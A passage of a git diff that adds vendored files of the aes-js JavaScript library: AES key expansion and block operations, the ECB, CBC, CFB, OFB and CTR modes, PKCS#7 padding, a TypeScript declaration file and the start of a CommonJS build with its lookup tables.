0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d]; + + function convertToInt32(bytes) { + var result = []; + for (var i = 0; i < bytes.length; i += 4) { + result.push( + (bytes[i ] << 24) | + (bytes[i + 1] << 16) | + (bytes[i + 2] << 8) | + bytes[i + 3] + ); + } + return result; + } + + var AES = function(key) { + if (!(this instanceof AES)) { + throw Error('AES must be instanitated with `new`'); + } + + Object.defineProperty(this, 'key', { + value: coerceArray(key, true) + }); + + this._prepare(); + } + + + AES.prototype._prepare = function() { + + var rounds = numberOfRounds[this.key.length]; + if (rounds == null) { + throw new Error('invalid key size (must be 16, 24 or 32 bytes)'); + } + + // encryption round keys + this._Ke = []; + + // decryption round keys + this._Kd = []; + + for (var i = 0; i <= rounds; i++) { + this._Ke.push([0, 0, 0, 0]); + this._Kd.push([0, 0, 0, 0]); + } + + var roundKeyCount = (rounds + 1) * 4; + var KC = this.key.length / 4; + + // convert the key into ints + var tk = convertToInt32(this.key); + + // copy values into round key arrays + var index; + for (var i = 0; i < KC; i++) { + index = i >> 2; + this._Ke[index][i % 4] = tk[i]; + this._Kd[rounds - index][i % 4] = tk[i]; + } + + // key expansion (fips-197 section 5.2) + var rconpointer = 0; + var t = KC, tt; + while (t < roundKeyCount) { + tt = tk[KC - 1]; + tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^ + (S[(tt >> 8) & 0xFF] << 16) ^ + (S[ tt & 0xFF] << 8) ^ + S[(tt >> 24) & 0xFF] ^ + (rcon[rconpointer] << 24)); + rconpointer += 1; + + // key expansion (for non-256 bit) + if (KC != 8) { + for (var i = 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + + // key expansion for 256-bit keys is "slightly different" (fips-197) + } else { + for (var i = 1; i < (KC / 2); i++) { + tk[i] ^= tk[i - 1]; + } + tt = tk[(KC / 2) - 1]; + + tk[KC / 2] ^= (S[ tt & 0xFF] ^ + (S[(tt >> 8) & 0xFF] << 8) ^ + (S[(tt >> 16) & 0xFF] << 16) ^ + (S[(tt >> 24) & 0xFF] << 24)); + + for (var i = (KC / 2) + 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + } + + // copy values into round key arrays + var i = 0, r, c; + while (i < KC && t < roundKeyCount) { + r = t >> 2; + c = t % 4; + this._Ke[r][c] = tk[i]; + this._Kd[rounds - r][c] = tk[i++]; + t++; + } + } + + // inverse-cipher-ify the decryption round key (fips-197 section 5.3) + for (var r = 1; r < rounds; r++) { + for (var c = 0; c < 4; c++) { + tt = this._Kd[r][c]; + this._Kd[r][c] = (U1[(tt >> 24) & 0xFF] ^ + U2[(tt >> 16) & 0xFF] ^ + U3[(tt >> 8) & 0xFF] ^ + U4[ tt & 0xFF]); + } + } + } + + AES.prototype.encrypt = function(plaintext) { + if (plaintext.length != 16) { + throw new Error('invalid plaintext size (must be 16 bytes)'); + } + + var rounds = this._Ke.length - 1; + var a = [0, 0, 0, 0]; + + // convert plaintext to (ints ^ key) + var t = convertToInt32(plaintext); + for (var i = 0; i < 4; i++) { + t[i] ^= this._Ke[0][i]; + } + + // apply round transforms + for (var r = 1; r < rounds; r++) { + for (var i = 0; i < 4; i++) { + a[i] = (T1[(t[ i ] >> 24) & 0xff] ^ + T2[(t[(i + 1) % 4] >> 16) & 0xff] ^ + T3[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T4[ t[(i + 3) % 4] & 0xff] ^ + this._Ke[r][i]); + } + t = a.slice(); + } + + // the last round is special + var result = createArray(16), tt; + for (var i = 0; i < 4; i++) { + tt = this._Ke[rounds][i]; + result[4 * i ] = (S[(t[ i ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (S[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (S[ t[(i + 3) % 4] & 0xff] ^ tt ) & 0xff; + } + + return result; + } + + AES.prototype.decrypt = function(ciphertext) { + if (ciphertext.length != 16) { + throw new Error('invalid ciphertext size (must be 16 bytes)'); + } + + var rounds = this._Kd.length - 1; + var a = [0, 0, 0, 0]; + + // convert plaintext to (ints ^ key) + var t = convertToInt32(ciphertext); + for (var i = 0; i < 4; i++) { + t[i] ^= this._Kd[0][i]; + } + + // apply round transforms + for (var r = 1; r < rounds; r++) { + for (var i = 0; i < 4; i++) { + a[i] = (T5[(t[ i ] >> 24) & 0xff] ^ + T6[(t[(i + 3) % 4] >> 16) & 0xff] ^ + T7[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T8[ t[(i + 1) % 4] & 0xff] ^ + this._Kd[r][i]); + } + t = a.slice(); + } + + // the last round is special + var result = createArray(16), tt; + for (var i = 0; i < 4; i++) { + tt = this._Kd[rounds][i]; + result[4 * i ] = (Si[(t[ i ] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (Si[ t[(i + 1) % 4] & 0xff] ^ tt ) & 0xff; + } + + return result; + } + + + /** + * Mode Of Operation - Electonic Codebook (ECB) + */ + var ModeOfOperationECB = function(key) { + if (!(this instanceof ModeOfOperationECB)) { + throw Error('AES must be instanitated with `new`'); + } + + this.description = "Electronic Code Block"; + this.name = "ecb"; + + this._aes = new AES(key); + } + + ModeOfOperationECB.prototype.encrypt = function(plaintext) { + plaintext = coerceArray(plaintext); + + if ((plaintext.length % 16) !== 0) { + throw new Error('invalid plaintext size (must be multiple of 16 bytes)'); + } + + var ciphertext = createArray(plaintext.length); + var block = createArray(16); + + for (var i = 0; i < plaintext.length; i += 16) { + copyArray(plaintext, block, 0, i, i + 16); + block = this._aes.encrypt(block); + copyArray(block, ciphertext, i); + } + + return ciphertext; + } + + ModeOfOperationECB.prototype.decrypt = function(ciphertext) { + ciphertext = coerceArray(ciphertext); + + if ((ciphertext.length % 16) !== 0) { + throw new Error('invalid ciphertext size (must be multiple of 16 bytes)'); + } + + var plaintext = createArray(ciphertext.length); + var block = createArray(16); + + for (var i = 0; i < ciphertext.length; i += 16) { + copyArray(ciphertext, block, 0, i, i + 16); + block = this._aes.decrypt(block); + copyArray(block, plaintext, i); + } + + return plaintext; + } + + + /** + * Mode Of Operation - Cipher Block Chaining (CBC) + */ + var ModeOfOperationCBC = function(key, iv) { + if (!(this instanceof ModeOfOperationCBC)) { + throw Error('AES must be instanitated with `new`'); + } + + this.description = "Cipher Block Chaining"; + this.name = "cbc"; + + if (!iv) { + iv = createArray(16); + + } else if (iv.length != 16) { + throw new Error('invalid initialation vector size (must be 16 bytes)'); + } + + this._lastCipherblock = coerceArray(iv, true); + + this._aes = new AES(key); + } + + ModeOfOperationCBC.prototype.encrypt = function(plaintext) { + plaintext = coerceArray(plaintext); + + if ((plaintext.length % 16) !== 0) { + throw new Error('invalid plaintext size (must be multiple of 16 bytes)'); + } + + var ciphertext = createArray(plaintext.length); + var block = createArray(16); + + for (var i = 0; i < plaintext.length; i += 16) { + copyArray(plaintext, block, 0, i, i + 16); + + for (var j = 0; j < 16; j++) { + block[j] ^= this._lastCipherblock[j]; + } + + this._lastCipherblock = this._aes.encrypt(block); + copyArray(this._lastCipherblock, ciphertext, i); + } + + return ciphertext; + } + + ModeOfOperationCBC.prototype.decrypt = function(ciphertext) { + ciphertext = coerceArray(ciphertext); + + if ((ciphertext.length % 16) !== 0) { + throw new Error('invalid ciphertext size (must be multiple of 16 bytes)'); + } + + var plaintext = createArray(ciphertext.length); + var block = createArray(16); + + for (var i = 0; i < ciphertext.length; i += 16) { + copyArray(ciphertext, block, 0, i, i + 16); + block = this._aes.decrypt(block); + + for (var j = 0; j < 16; j++) { + plaintext[i + j] = block[j] ^ this._lastCipherblock[j]; + } + + copyArray(ciphertext, this._lastCipherblock, 0, i, i + 16); + } + + return plaintext; + } + + + /** + * Mode Of Operation - Cipher Feedback (CFB) + */ + var ModeOfOperationCFB = function(key, iv, segmentSize) { + if (!(this instanceof ModeOfOperationCFB)) { + throw Error('AES must be instanitated with `new`'); + } + + this.description = "Cipher Feedback"; + this.name = "cfb"; + + if (!iv) { + iv = createArray(16); + + } else if (iv.length != 16) { + throw new Error('invalid initialation vector size (must be 16 size)'); + } + + if (!segmentSize) { segmentSize = 1; } + + this.segmentSize = segmentSize; + + this._shiftRegister = coerceArray(iv, true); + + this._aes = new AES(key); + } + + ModeOfOperationCFB.prototype.encrypt = function(plaintext) { + if ((plaintext.length % this.segmentSize) != 0) { + throw new Error('invalid plaintext size (must be segmentSize bytes)'); + } + + var encrypted = coerceArray(plaintext, true); + + var xorSegment; + for (var i = 0; i < encrypted.length; i += this.segmentSize) { + xorSegment = this._aes.encrypt(this._shiftRegister); + for (var j = 0; j < this.segmentSize; j++) { + encrypted[i + j] ^= xorSegment[j]; + } + + // Shift the register + copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize); + copyArray(encrypted, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize); + } + + return encrypted; + } + + ModeOfOperationCFB.prototype.decrypt = function(ciphertext) { + if ((ciphertext.length % this.segmentSize) != 0) { + throw new Error('invalid ciphertext size (must be segmentSize bytes)'); + } + + var plaintext = coerceArray(ciphertext, true); + + var xorSegment; + for (var i = 0; i < plaintext.length; i += this.segmentSize) { + xorSegment = this._aes.encrypt(this._shiftRegister); + + for (var j = 0; j < this.segmentSize; j++) { + plaintext[i + j] ^= xorSegment[j]; + } + + // Shift the register + copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize); + copyArray(ciphertext, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize); + } + + return plaintext; + } + + /** + * Mode Of Operation - Output Feedback (OFB) + */ + var ModeOfOperationOFB = function(key, iv) { + if (!(this instanceof ModeOfOperationOFB)) { + throw Error('AES must be instanitated with `new`'); + } + + this.description = "Output Feedback"; + this.name = "ofb"; + + if (!iv) { + iv = createArray(16); + + } else if (iv.length != 16) { + throw new Error('invalid initialation vector size (must be 16 bytes)'); + } + + this._lastPrecipher = coerceArray(iv, true); + this._lastPrecipherIndex = 16; + + this._aes = new AES(key); + } + + ModeOfOperationOFB.prototype.encrypt = function(plaintext) { + var encrypted = coerceArray(plaintext, true); + + for (var i = 0; i < encrypted.length; i++) { + if (this._lastPrecipherIndex === 16) { + this._lastPrecipher = this._aes.encrypt(this._lastPrecipher); + this._lastPrecipherIndex = 0; + } + encrypted[i] ^= this._lastPrecipher[this._lastPrecipherIndex++]; + } + + return encrypted; + } + + // Decryption is symetric + ModeOfOperationOFB.prototype.decrypt = ModeOfOperationOFB.prototype.encrypt; + + + /** + * Counter object for CTR common mode of operation + */ + var Counter = function(initialValue) { + if (!(this instanceof Counter)) { + throw Error('Counter must be instanitated with `new`'); + } + + // We allow 0, but anything false-ish uses the default 1 + if (initialValue !== 0 && !initialValue) { initialValue = 1; } + + if (typeof(initialValue) === 'number') { + this._counter = createArray(16); + this.setValue(initialValue); + + } else { + this.setBytes(initialValue); + } + } + + Counter.prototype.setValue = function(value) { + if (typeof(value) !== 'number' || parseInt(value) != value) { + throw new Error('invalid counter value (must be an integer)'); + } + + // We cannot safely handle numbers beyond the safe range for integers + if (value > Number.MAX_SAFE_INTEGER) { + throw new Error('integer value out of safe range'); + } + + for (var index = 15; index >= 0; --index) { + this._counter[index] = value % 256; + value = parseInt(value / 256); + } + } + + Counter.prototype.setBytes = function(bytes) { + bytes = coerceArray(bytes, true); + + if (bytes.length != 16) { + throw new Error('invalid counter bytes size (must be 16 bytes)'); + } + + this._counter = bytes; + }; + + Counter.prototype.increment = function() { + for (var i = 15; i >= 0; i--) { + if (this._counter[i] === 255) { + this._counter[i] = 0; + } else { + this._counter[i]++; + break; + } + } + } + + + /** + * Mode Of Operation - Counter (CTR) + */ + var ModeOfOperationCTR = function(key, counter) { + if (!(this instanceof ModeOfOperationCTR)) { + throw Error('AES must be instanitated with `new`'); + } + + this.description = "Counter"; + this.name = "ctr"; + + if (!(counter instanceof Counter)) { + counter = new Counter(counter) + } + + this._counter = counter; + + this._remainingCounter = null; + this._remainingCounterIndex = 16; + + this._aes = new AES(key); + } + + ModeOfOperationCTR.prototype.encrypt = function(plaintext) { + var encrypted = coerceArray(plaintext, true); + + for (var i = 0; i < encrypted.length; i++) { + if (this._remainingCounterIndex === 16) { + this._remainingCounter = this._aes.encrypt(this._counter._counter); + this._remainingCounterIndex = 0; + this._counter.increment(); + } + encrypted[i] ^= this._remainingCounter[this._remainingCounterIndex++]; + } + + return encrypted; + } + + // Decryption is symetric + ModeOfOperationCTR.prototype.decrypt = ModeOfOperationCTR.prototype.encrypt; + + + /////////////////////// + // Padding + + // See:https://tools.ietf.org/html/rfc2315 + function pkcs7pad(data) { + data = coerceArray(data, true); + var padder = 16 - (data.length % 16); + var result = createArray(data.length + padder); + copyArray(data, result); + for (var i = data.length; i < result.length; i++) { + result[i] = padder; + } + return result; + } + + function pkcs7strip(data) { + data = coerceArray(data, true); + if (data.length < 16) { throw new Error('PKCS#7 invalid length'); } + + var padder = data[data.length - 1]; + if (padder > 16) { throw new Error('PKCS#7 padding byte out of range'); } + + var length = data.length - padder; + for (var i = 0; i < padder; i++) { + if (data[length + i] !== padder) { + throw new Error('PKCS#7 invalid padding byte'); + } + } + + var result = createArray(length); + copyArray(data, result, 0, 0, length); + return result; + } + + /////////////////////// + // Exporting + + + // The block cipher + var aesjs = { + AES: AES, + Counter: Counter, + + ModeOfOperation: { + ecb: ModeOfOperationECB, + cbc: ModeOfOperationCBC, + cfb: ModeOfOperationCFB, + ofb: ModeOfOperationOFB, + ctr: ModeOfOperationCTR + }, + + utils: { + hex: convertHex, + utf8: convertUtf8 + }, + + padding: { + pkcs7: { + pad: pkcs7pad, + strip: pkcs7strip + } + }, + + _arrayTest: { + coerceArray: coerceArray, + createArray: createArray, + copyArray: copyArray, + } + }; + + + // node.js + if (typeof exports !== 'undefined') { + module.exports = aesjs + + // RequireJS/AMD + // http://www.requirejs.org/docs/api.html + // https://github.com/amdjs/amdjs-api/wiki/AMD + } else if (typeof(define) === 'function' && define.amd) { + define([], function() { return aesjs; }); + + // Web Browsers + } else { + + // If there was an existing library at "aesjs" make sure it's still available + if (root.aesjs) { + aesjs._aesjs = root.aesjs; + } + + root.aesjs = aesjs; + } + + +})(this); diff --git a/node_modules/aes-js/lib.commonjs/README.md b/node_modules/aes-js/lib.commonjs/README.md new file mode 100644 index 000000000000..b2a9245b1d89 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/README.md @@ -0,0 +1,6 @@ +Gerneated Code (CommonJS) +========================= + +Do not modify code in this folder. + +See `/src.ts/` and `/tsconfig.commonjs.json`. diff --git a/node_modules/aes-js/lib.commonjs/aes.d.ts b/node_modules/aes-js/lib.commonjs/aes.d.ts new file mode 100644 index 000000000000..2a26aff55931 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/aes.d.ts @@ -0,0 +1,9 @@ +/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */ +export declare class AES { + #private; + get key(): Uint8Array; + constructor(key: Uint8Array); + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=aes.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/aes.d.ts.map b/node_modules/aes-js/lib.commonjs/aes.d.ts.map new file mode 100644 index 000000000000..a3c66c79ba59 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/aes.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"aes.d.ts","sourceRoot":"","sources":["../src.ts/aes.ts"],"names":[],"mappings":"AAAA,uFAAuF;AAsCvF,qBAAa,GAAG;;IAKd,IAAI,GAAG,IAAI,UAAU,CAA8B;gBAEvC,GAAG,EAAE,UAAU;IA+F3B,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAwC1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAuC5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/aes.js b/node_modules/aes-js/lib.commonjs/aes.js new file mode 100644 index 000000000000..fd2ea51599dd --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/aes.js @@ -0,0 +1,202 @@ +"use strict"; +/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */ +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var _AES_key, _AES_Kd, _AES_Ke; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.AES = void 0; +// Number of rounds by keysize +const numberOfRounds = { 16: 10, 24: 12, 32: 14 }; +// Round constant words +const rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91]; +// S-box and Inverse S-box (S is for Substitution) +const S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0x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ea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]; +// Transformations for encryption +const T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a]; +const T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 